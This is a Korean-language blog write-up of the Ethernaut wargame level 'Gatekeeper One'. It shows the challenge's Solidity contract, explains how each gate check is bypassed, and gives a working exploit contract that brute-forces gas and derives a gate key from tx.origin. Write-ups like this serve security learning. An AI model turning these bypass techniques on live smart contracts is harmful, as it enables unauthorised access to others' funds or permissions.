[Ethernaut] Wargame Writeup | 13. Gatekeeper One

2024. 8. 13. 19:30· Blockchain/Ethernaut
목차
  1. Description
  2. Things that might help:
  3. Code
  4. Scenario
  5. Exploit
728x90

Description

Make it past the gatekeeper and register as an entrant to pass this level.

Things that might help:

  • Remember what you've learned from the Telephone and Token levels.
  • You can learn more about the special function gasleft(), in Solidity's documentation (see Units and Global Variables and External Function Calls).

Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

Scenario

  1. gateOne을 통과하기 위해서는 msg.sender와 tx.origin이 달라야 한다. 이것은 바로 contract의 함수를 호출하지 않고 어떤 컨트랙트를 배포해서 그 컨트랙트로 하여금 호출하도록 하면 된다.
  2. gateTwo를 통과하기 위해서는 잔여 가스량이 8191의 배수여야 한다. enter 함수 호출 직전까지 i 만큼 쓰인다면, i+8191*n 만큼 가스를 주면 된다. i는 정확히 알기 힘드므로 반복문을 돌려 bruteforce를 한다.
  3. gateThree를 통과하기 위해서는 조건을 통과할 gatekey를 구해야 한다.
    1. 첫 번째 require문: gatekey의 하위 4바이트와 2바이트가 같아야 한다 -> gatekey의 3,4 바이트는 0이어야 한다.
    2. 두 번째 require문: gatekey의 하위 4바이트와 gatekey 전체 8바이트가 같으면 안된다 -> gatekey의 상위 4바이트는 0이면 안된다.
    3. 세 번째 require문: gatekey의 하위 4바이트는 tx.origin(내 주소)의 하위 2바이트와 같아야 한다.

Exploit

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Exploit {
address level = 0x11bB12fb47D6B754f66ED7Da9Ed6C7a37E4c5901;
constructor() {
bytes8 gatekey = bytes8(uint64(uint160(tx.origin)) & 0xFFFFFFFF0000FFFF);
for (uint i = 0; i < 500 ; i++) {
(bool success, ) = level.call{gas: i+8191*3}(abi.encodeWithSignature("enter(bytes8)", gatekey));
if(success){
break;
}
}
}
}
728x90
저작자표시 (새창열림)
  1. Description
  2. Things that might help:
  3. Code
  4. Scenario
  5. Exploit
'Blockchain/Ethernaut' 카테고리의 다른 글
  • [Ethernaut] Wargame Writeup | 14. Gatekeeper Two
  • [Ethernaut] Wargame Writeup | 15. Naught Coin
  • [Ethernaut] Wargame Writeup | 12. Privacy
  • [Ethernaut] Wargame Writeup | 11. Elevator
je1att0
je1att0
Web3 | AI | 정보 보안 | 해킹 | 컴퓨터 | IT
je1att0
정보 보안 전공생 머릿속에
je1att0
전체
오늘
어제
250x250

블로그 메뉴

  • About Me [CV]
  • GitHub
  • 여행·일상 블로그
  • 방명록
  • 글쓰기

공지사항

  • 분류 전체보기 (78)
    • Blockchain (16)
      • Cryptozombie (0)
      • Ethernaut (16)
      • Terminology (0)
    • Cyptocurrency (1)
    • AI (2)
      • Deep Learning (2)
    • Hacking (0)
    • Web Development (5)
    • Network (2)
    • Digital Forensic (3)
    • Linux (31)
      • OverTheWire - Bandit (28)
    • Language (13)
      • C (12)
      • Python (1)
    • Tips (1)
    • Archive (1)
    • Startup (3)

인기 글

최근 댓글

최근 글

hELLO · Designed By 정상우.v4.2.0
je1att0
[Ethernaut] Wargame Writeup | 13. Gatekeeper One
상단으로

티스토리툴바

개인정보

  • 티스토리 홈
  • 포럼
  • 로그인

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.